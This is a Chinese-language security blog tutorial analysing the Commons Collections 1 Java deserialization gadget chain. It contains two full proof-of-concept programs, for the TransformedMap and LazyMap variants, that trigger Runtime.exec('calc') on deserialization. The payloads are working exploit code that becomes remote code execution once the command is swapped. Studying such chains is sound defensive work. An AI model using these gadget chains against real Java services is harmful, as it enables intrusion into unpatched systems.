文章

Java反序列化利用链之CommonsCollections1

CommonsCollections1

CC1TransformedMap链

org.apache.commons.collections.functors.InvokerTransformer

危险类InvokerTransformer的实现如下:

image-20240306152229843

InvokerTransformer类实现的transform方法可执行任意方法,也是反序列化执行命令的关键。

image-20240306152242657

transform将解析构造方法传入的三个参数,执行input对象的iMethodName方法。

1
2
3
4
5
    public static void main(String[] args) throws Exception {
        Runtime r = Runtime.getRuntime();
        Object invokerTransformer = new InvokerTransformer("exec", new
                Class[]{String.class}, new String[]{"calc"}).transform(r);
    }

以上例子等同于这样:

1
2
3
4
5
6
    public static void main(String[] args) throws Exception {
        Runtime runtime  = Runtime.getRuntime();
        Class c = Runtime.class;
        Method method = c.getMethod("exec",String.class);
        method.invoke(runtime,"calc");
    }

现在既然知道了InvokerTransformertransform方法能够调用危险方法,就可以往前推找一个能够调用transform的类。

org.apache.commons.collections.map.TransformedMap

在类TransformedMap中存在一个checkSetValue调用了transform方法。

image-20240306154716895

如果我们能够控制valueTransformerInvokerTransformer就可以利用checkSetValue调用任意方法。

往前跟进一下valueTransformer

image-20240306154939321

可以看到TransformedMap的构造方法对valueTransformer赋值操作,但由于是protected方法,所以还需要找到哪里能够调用TransformedMap,在TransformedMap上方存在一个decorate方法正好符合。

1
2
3
    public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        return new TransformedMap(map, keyTransformer, valueTransformer);
    }

在这个方法中就可以看出valueTransformer值可控,我们可通过TransformedMap类的decorate方法传入invokertansformdMap就可以解决checkSetValue的参数问题了:

org.apache.commons.collections.map.AbstractInputCheckedMapDecorator

然后就开始找哪里调用到了checkSetValueTransformedMap的父类AbstractInputCheckedMapDecorator中:

image-20240306161339888

在Java中,Map.Entry 是一个表示 Map 接口中的键值对的接口。Map 接口是Java中用于存储键值对的集合接口,而 Map.Entry 就代表了这些键值对的条目。

Map.Entry 接口定义了两个主要的方法:

  1. getKey(): 用于获取键(key)。
  2. getValue(): 用于获取值(value)。

这个接口通常与MapentrySet()方法一起使用,该方法返回一个包含Map.Entry对象的Set集合,其中每个Map.Entry对象代表Map中的一个键值对。

遍历例子:

1
2
3
4
5
6
7
8
9
10
11
12
 public static void main(String[] args) {
        // 创建一个Map
        Map<String, Integer> map = new HashMap<>();
        map.put("One", 1);
        map.put("Two", 2);
        map.put("Three", 3);

        // 使用 entrySet() 获取 Map 中的键值对
        for (Map.Entry<String, Integer> entry : map.entrySet()) {
            System.out.println("Key: " + entry.getKey() + ", Value: " + entry.getValue());
        }
    }

AbstractInputCheckedMapDecorator类中的 MapEntry类中的setValue方法其实就是Map中的setValue进行了重写(AbstractInputCheckedMapDecorator的父类实现了Map

image-20240306163816579

AbstractInputCheckedMapDecorator类又引入了 Map.Entry 接口,还存在setValue 方法,所以我们只需要进行常用的 Map 遍历,就可以调用 setValue 方法,然后调用 checkSetValue 方法然后就变成了这样:

1
2
3
4
5
6
7
8
9
10
11
12
    public static void main(String[] args) throws Exception {
        Runtime r = Runtime.getRuntime();
        InvokerTransformer invokerTransformer = new
                InvokerTransformer("exec", new Class[]{String.class}, new
                Object[]{"calc"});
        HashMap<Object, Object> map = new HashMap<>();//new 一个 map
        map.put("key", "value");//对 map 进行赋值
        Map<Object, Object> transformedmap = TransformedMap.decorate(map, null, invokerTransformer);
        for (Map.Entry entry : transformedmap.entrySet()) {//将transformedmap 传进去,会自动调用到父类里面的 setValue 方法:
            entry.setValue(r);
        }
    }

然后就需要找到某个类的readObject里面能够遍历map而且在遍历时调用了setValue()方法,并且能把transformedmap传进去。

sun.reflect.annotation.AnnotationInvocationHandler;

这里有个坑点,CC1 在 jdk 的包更新到 8u71 以后,就对漏洞点进行了修复(CC1TransformedMap 链去掉了 Map.EntrysetValue 方法。

未修复前(jdk8u66):

image-20240306192241592

修复后(jdk8u321):

image-20240306192434398

可以很清楚的看到修复后的版本没有了setValue()

接下来关注AnnotationInvocationHandler的构造方法看看什么可控:

image-20240306201658405

在构造方法中可以看到memberValues是可控的,也就是Map可控,然后我们就可以传入前面构造的transformedmap,再就是该类没有pubilc修饰,所以只能通过反射拿到这个类的构造方法。

1
2
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotationInvocationhdlConstructor = c.getDeclaredConstructor(Class.class, Map.class);

还有一个需要注意的点,在AnnotationInvocationHandlerreadObject方法中:

image-20240306205105066

这里var7是获取注解中成员变量的名称,然后并且检查键值对中键名是否有对应的名称,所以我们需要一个注解并且它存在成员变量。注解TargetSuppressWarningsRetention 中有个名为value的成员变量,所以我们就可以使用这个注解,并改第一个键值对的值为value

image-20240306205526038

image-20240306211240072

image-20240307201922872

所以构造方法就可以这样传参:

1
        Object o = annotationInvocationhdlConstructor.newInstance(Target.class, transformedmap);

或者这样:

1
        Object o = annotationInvocationhdlConstructor.newInstance(SuppressWarnings.class, transformedmap);
1
        Object o = annotationInvocationhdlConstructor.newInstance(Retention.class, transformedmap);

捋一下:

直到现在我们知道InvokerTransformertransform 方法可以调用任意方法,并且TransformedMap中的checkSetValue调用了transform方法。在TransformedMap的父类AbstractInputCheckedMapDecoratorsetValue又调用了checkSetValue,所以可通过AnnotationInvocationHandler调用readObject时触发。

1
2
AnnotationInvocationHandler.readObject-->Entry.setValue-->TransformedMap.checkSetValue
    -->InvokerTransformer.transform-->Runtime.getRuntime().exec()

但是在Runtime里看一下,发现它没有serializable接口,不能被序列化:

image-20240306221435981

这里可以运用反射来获取它的原型类,它的原型类class是存在serializable接口可以序列化的,在这可以看到getRuntime()方法,该方法会返回一个Runtime对象,所以我们可通过反射:

1
2
3
4
5
6
Class c=Class.forName("java.lang.Runtime");                 //获取类原型
Method getRuntime= c.getDeclaredMethod("getRuntime",null);    //获取getRuntime方法,
Runtime r=(Runtime) getRuntime.invoke(null,null);  //获取实例化对象,因为该方法无无参方法,所以全为null
Method exec=c.getDeclaredMethod("exec", String.class);        //获取exec方法
exec.invoke(r,"calc");                                         //实现命令执行
Class rc = Class.forName("java.lang.Runtime");

利用前面transform方法实现上述代码:

1
2
3
4
5
6
7
Class c=Class.forName("java.lang.Runtime");                 //获取类原型        
Method getRuntime = (Method) new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(c);
//这里模拟获取getRuntime方法,它的具体操作步骤类似之前
Runtime r = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntime);
//这里模拟获取invoke方法
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(r);
//这里模拟获取exec方法,并进行命令执行

但是这样写很繁琐,Commons Collections库中存在的ChainedTransformer类,它也存在transform方法可以帮我们遍历InvokerTransformer,并且调用transform方法。

org.apache.commons.collections.functors.ChainedTransformer

ChainedTransformer方法实现了Serializable

image-20240306212507850

该类里调用了transform方法可以帮我们遍历InvokerTransformer,并且调用transform方法:

image-20240306212604417

然后就可以这样构造:

1
2
3
4
5
6
7
8
9
        Transformer[] Transformers = new Transformer[]{
                new InvokerTransformer("getDeclaredMethod", new
                        Class[]{String.class, Class[].class}, new
                        Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new
                        Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new
                        Class[]{String.class}, new Object[]{"calc"})
        };

但是如何才能指定Runtime.class呢?也就是this.iTransformers[i].transform(object);objectRuntime.class

org.apache.commons.collections.functors.ConstantTransformer

ConstantTransformer这个类的构造方法可控制transform的返回值,这样就能控制指定Runtime.class

image-20240306225245387

然后就可以这样构造:

1
2
3
4
5
6
7
8
9
10
Transformer[] Transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new
                        Class[]{String.class, Class[].class}, new
                        Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new
                        Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new
                        Class[]{String.class}, new Object[]{"calc"})
        };

这样构造之后就可以,第一次调用ConstantTransformer类的transform方法从而返回Runtime.class

1
2
3
        for(int i = 0; i < this.iTransformers.length; ++i) {
            object = this.iTransformers[i].transform(object);
        }

此时object变为Runtime.class,同时作为参数传入InvokerTransformer类的transform方法,也就是这样:

1
2
object = ConstantTransformer(Runtime.class).transform(xxx);
object = InvokerTransformer(xxx,xxx,xxx).transform(object); //此时括号中的object为Runtime.class
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
ObjectInputStream.readObject()
  AnnotationInvocationHandler.readObject()
    AbstractInputCheckedMapDecorator.setValue()
        TransformedMap.checkSetValue()
          ChainedTransformer.transform()
            ConstantTransformer.transform()
              InvokerTransformer.transform()
                Method.invoke()
                  Class.getMethod()
                    InvokerTransformer.transform()
                      Method.invoke()
                        Runtime.getRuntime()
                          InvokerTransformer.transform()
                            Method.invoke()
                              Runtime.exec()

最终完整CC1Poc如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
package org.example.CC1;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;


public class CC1Poc {
    public static byte[] serialize(final Object obj) throws Exception {
        ByteArrayOutputStream btout = new ByteArrayOutputStream();
        ObjectOutputStream objOut = new ObjectOutputStream(btout);
        objOut.writeObject(obj);
        return btout.toByteArray();
    }

    public static Object deserialize(final byte[] serialized) throws Exception {
        ByteArrayInputStream btin = new ByteArrayInputStream(serialized);
        ObjectInputStream objIn = new ObjectInputStream(btin);
        return objIn.readObject();
    }

    public static void main(String[] args) throws Exception {
        Transformer[] Transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new
                        Class[]{String.class, Class[].class}, new
                        Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new
                        Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new
                        Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new
                ChainedTransformer(Transformers);
        HashMap<Object, Object> map = new HashMap<>();
        map.put("value", "aaa");
        Map<Object, Object> transformedmap =
                TransformedMap.decorate(map, null, chainedTransformer);
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotationInvocationhdlConstructor = c.getDeclaredConstructor(Class.class, Map.class);
        annotationInvocationhdlConstructor.setAccessible(true);
        Object o = annotationInvocationhdlConstructor.newInstance(SuppressWarnings.class, transformedmap);
        byte[] se = serialize(o);
        deserialize(se);
    }
}

CC1LazyMap链

在调用 tranforms 方法时候,除了能利用 Transformedmap 来进行调用,还可以通过使用 LazyMap 中的 get 方法来进行调用:

image-20240307180811680

进入if的条件只需要将我们传入的map不要有后面传入的key就行。

LazyMap的构造方法不难看出factory是可控的:

image-20240307181227952

接下来只需要找到一个readObject方法调用了该get方法即可

sun.reflect.annotation.AnnotationInvocationHandler

AnnotationInvocationHandlerinvoke中存在调用而且上面TransformedMap链 分析了memberValues可控。

image-20240307181554357

AnnotationInvocationHandler 类本身实现了 InvocationHandler接口所以我们可以直接使用动态代理去代理 LazyMap 对象。这个 invoke 是代理类的,memberValues.entrySet()调用后会自动触发。其中的 memberValues 变量就是我们传入的 LazyMap 对象,它所调用的也就是 LazyMapget 方法,这样就触发了我们后面的利用链。

image-20240307200941827

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
ObjectInputStream.readObject()
  AnnotationInvocationHandler.readObject()
    Map(Proxy).entrySet()
      AnnotationInvocationHandler.invoke()
        LazyMap.get()
          ChainedTransformer.transform()
            ConstantTransformer.transform()
              InvokerTransformer.transform()
                Method.invoke()
                  Class.getMethod()
            		InvokerTransformer.transform()
                	  Method.invoke()
                		Runtime.getRuntime()
           				  InvokerTransformer.transform()
              				Method.invoke()
                			  Runtime.exec()

完整Poc如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
package org.example.CC1;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class CC1LazyMapPoc {
    public static byte[] serialize(final Object obj) throws Exception {
        ByteArrayOutputStream btout = new ByteArrayOutputStream();
        ObjectOutputStream objOut = new ObjectOutputStream(btout);
        objOut.writeObject(obj);
        return btout.toByteArray();
    }

    public static Object deserialize(final byte[] serialized) throws Exception {
        ByteArrayInputStream btin = new ByteArrayInputStream(serialized);
        ObjectInputStream objIn = new ObjectInputStream(btin);
        return objIn.readObject();
    }

    public static void main(String[] args) throws Exception {
        Transformer[] Transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getDeclaredMethod", new
                        Class[]{String.class, Class[].class}, new
                        Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new
                        Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new
                        Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(Transformers);
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        HashMap<Object, Object> map = new HashMap<>();
        Map Lazymap = LazyMap.decorate(map, chainedTransformer);
        Constructor annotationInvocationhdlConstructor = c.getDeclaredConstructor(Class.class, Map.class);
        annotationInvocationhdlConstructor.setAccessible(true);
        InvocationHandler h = (InvocationHandler) annotationInvocationhdlConstructor.newInstance(Target.class, Lazymap);
        Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, h);
        Object o = annotationInvocationhdlConstructor.newInstance(SuppressWarnings.class, mapProxy);
        byte[] s = serialize(o);
        Object o1 = deserialize(s);
    }
}
本文由作者按照 CC BY 4.0 进行授权